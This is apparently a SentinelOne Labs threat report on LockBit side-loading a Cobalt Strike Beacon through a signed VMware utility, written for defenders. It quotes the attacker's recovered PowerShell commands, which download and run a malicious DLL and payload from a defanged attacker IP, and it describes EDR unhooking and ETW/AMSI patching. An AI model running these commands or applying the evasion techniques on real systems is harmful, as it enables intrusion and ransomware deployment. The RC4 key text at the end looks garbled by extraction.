# LockBit Ransomware Side-loads Cobalt Strike Beacon with Legitimate VMware Utility **[sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility](https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility)** James Haughom ### By James Haughom, Júlio Dantas, and Jim Walter ## Executive Summary The VMware command line utility `VMwareXferlogs.exe used for data transfer to and` from VMX logs is susceptible to DLL side-loading. During a recent investigation, our DFIR team discovered that LockBit Ransomware-asa-Service (Raas) side-loads Cobalt Strike Beacon through a signed VMware xfer logs command line utility. The threat actor uses PowerShell to download the VMware xfer logs utility along with a malicious DLL, and a `.log file containing an encrypted Cobalt Strike Reflective` Loader. The malicious DLL evades defenses by removing EDR/EPP’s userland hooks, and bypasses both Event Tracing for Windows (ETW) and Antimalware Scan Interface (AMSI). There are suggestions that the side-loading functionality was implemented by an [affiliate rather than the Lockbit developers themselves (via vx-underground), likely](https://twitter.com/vxunderground/status/1519817626943377432?s=21&t=EvK9hGcU2lZWSShi-U4u0A) DEV-0401. ----- ## Overview LockBit is a Ransomware as a Service (RaaS) operation that has been active since 2019 (previously known as “ABCD”). It commonly leverages the double extortion technique, employing tools such as StealBit, WinSCP, and cloud-based backup solutions for data exfiltration prior to deploying the ransomware. Like most ransomware groups, LockBit’s postexploitation tool of choice is Cobalt Strike. [During a recent investigation, our DFIR team discovered an interesting technique used by](https://www.sentinelone.com/global-services/vigilance-respond-pro/) [LockBit Ransomware Group, or perhaps an affiliate, to load a Cobalt Strike Beacon](https://twitter.com/vxunderground/status/1519817626943377432?s=21&t=EvK9hGcU2lZWSShi-U4u0A) Reflective Loader. In this particular case, LockBit managed to side-load Cobalt Strike Beacon through a signed VMware xfer logs command line utility. Since our initial publication of this report, we have identified a connection with an affiliate Microsoft tracks as [DEV-0401. A switch to LockBit represents a notable departure in DEV-](https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/#NightSky) 0401’s previously observed TTPs. [Side-loading is a DLL-hijacking technique used to trick a benign process into loading and](https://attack.mitre.org/techniques/T1574/002/) executing a malicious DLL by placing the DLL alongside the process’ corresponding EXE, taking advantage of the DLL search order. In this instance, the threat actor used PowerShell to download the VMware xfer logs utility along with a malicious DLL, and a `.log file` containing an encrypted Cobalt Strike Reflective Loader. The VMware utility was then executed via `cmd.exe, passing control flow to the malicious DLL.` The DLL then proceeded to evade defenses by removing EDR/EPP’s userland hooks, as [well as bypassing both Event Tracing for Windows (ETW) and](https://docs.microsoft.com/en-us/windows/win32/etw/event-tracing-portal) [Antimalware Scan Interface](https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal) (AMSI). The `.log file was then loaded in memory and decrypted via RC4, revealing a` Cobalt Strike Beacon Reflective Loader. Lastly, a user-mode [Asynchronous Procedure Call](https://docs.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls) (APC) is queued, which is used to pass control flow to the decrypted Beacon. ----- ## Attack Chain The attack chain began with several PowerShell commands executed by the threat actor to download three components, a malicious DLL, a signed VMwareXferlogs executable, and an encrypted Cobalt Strike payload in the form of a `.log file.` **Filename** **Description** glib-2.0.dll Weaponized DLL loaded by VMwareXferlogs.exe VMwareXferlogs.exe Legitimate/signed VMware command line utility c0000015.log Encrypted Cobalt Strike payload Our DFIR team recovered the complete PowerShell cmdlets used to download the components from forensic artifacts. ----- ``` Invoke WebRequest uri hxxp://45.32.108[.]54:443/glib 2.0.dll OutFile c:\windows\debug\glib-2.0.dll; Invoke-WebRequest -uri hxxp://45.32.108[.]54:443/c0000015.log -OutFile c:\windows\debug\c0000015.log; Invoke-WebRequest -uri hxxp://45.32.108[.]54:443/VMwareXferlogs.exe -OutFile c:\windows\debug\VMwareXferlogs.exe;c:\windows\debug\VMwareXferlogs.exe ``` The downloaded binary ( VMwareXferlogs.exe ) was then executed via the command prompt, with the STDOUT being redirected to a file. ``` c:\windows\debug\VMwareXferlogs.exe 1> \\127.0.0.1\ADMIN$\__1649832485.0836577 2>&1 ``` The `VMwareXferlogs.exe is a legitimate, signed executable belonging to VMware.` ----- VirusTotal Signature Summary [This utility is used to transfer data to and from VMX logs](https://kb.vmware.com/s/article/1019471) ----- VMware xfer utility command line usage This command line utility makes several calls to a third party library called `glib-2.0.dll .` Both the utility and a legitimate version of `glib-2.0.dll are shipped with VMware` installations. glib-2.0.dll functions being called by VMwareXferlog.exe The weaponized `glib-2.0.dll downloaded by the threat actor exports all the necessary` functions imported by `VMwareXferlog.exe .` Exported functions of malicious glib-2.0.dll ----- glib-2.0.dll-related functions imported by VMwareXferlog.exe Calls to exported functions from `glib-2.0.dll are made within the main function of the` VMware utility, the first being `g_path_get_basename() .` glib-2.0.dll functions being called by VMwareXferlog.exe Note that the virtual addresses for the exported functions are all the same for the weaponized `glib-2.0.dll (0x1800020d0), except for` `g_path_get_basename, which` has a virtual address of 0x180002420. This is due to the fact that all exports, except for the ``` g_path_get_basename function do nothing other than call ExitProcess() . ``` g_error_free() function’s logic On the other hand, `g_path_get_basename() invokes the malicious payload prior to exiting.` ----- When `VMwareXferlog.exe calls this function, control flow is transferred to the malicious` ``` glib-2.0.dll, rather than the legitimate one, completing the side-loading attack. ``` g_path_get_basename() being called in the main() function Once control flow is passed to the weaponized DLL, the presence of a debugger is checked by querying the `BeingDebugged flag and` `NtGlobalFlag in the` Process Environment Block (PEB). If a debugger is detected, the malware enters an endless loop. Anti-debug mechanisms ## Bypassing EDR/EPP Userland Hooks At this juncture, the malware enters a routine to bypass any userland hooks by manually mapping itself into memory, performing a byte-to-byte inspection for any discrepancies between the copy of self and itself, and then overwriting any sections that have discrepancies. This routine is repeated for all loaded modules, thus allowing the malware to identify any potential userland hooks installed by EDR/EPP, and overwrite them with the unpatched/unhooked code directly from the modules’ images on disk. ----- Checking for discrepancies between on-disk and in-memory for each loaded module For example, EDR’s userland NT layer hooks may be removed with this technique. The below subroutine shows a trampoline where a SYSCALL stub would typically reside, but instead jumps to a DLL injected by EDR. This subroutine will be overwritten/restored to remove the hook. EDR-hooked SYSCALL stub that will be patched Here is a look at the patched code to restore the original SYSCALL stub and remove the EDR hook. NT layer hook removed and original code restored Once these hooks are removed, the malware continues to evade defenses. Next, an attempt to bypass Event Tracing for Windows (ETW) commences through patching the ``` EtwEventWrite WinAPI with a RET instruction (0xC3), stopping any useful ETW-related ``` telemetry from being generated related to this process. ----- Event Tracing for Windows bypass [AMSI is bypassed the same way as ETW through patching](https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal) `AmsiScanBuffer . This halts` AMSI from inspecting potentially suspicious buffers within this process. ----- AMSI bypass Once these defenses have been bypassed, the malware proceeds to execute the final payload. The final payload is a Cobalt Strike Beacon Reflective Loader that is stored RC4encrypted in the previously mentioned `c0000015.log file. The RC4 Key Scheduling` Algorithm can be seen below with the hardcoded 136 byte key. ----- ``` &.5 \C3%YHO2SM &B3!XSY6SV)6(&7;(3. $F2WAED>>;K]8\*D#[email protected](R,+]A-G\D HERIP:45:X(WN8[?3Y>XCWNPOL89>[.# Q' 4CP8M-%4N[7.$R->-1)$!NU"W$!YT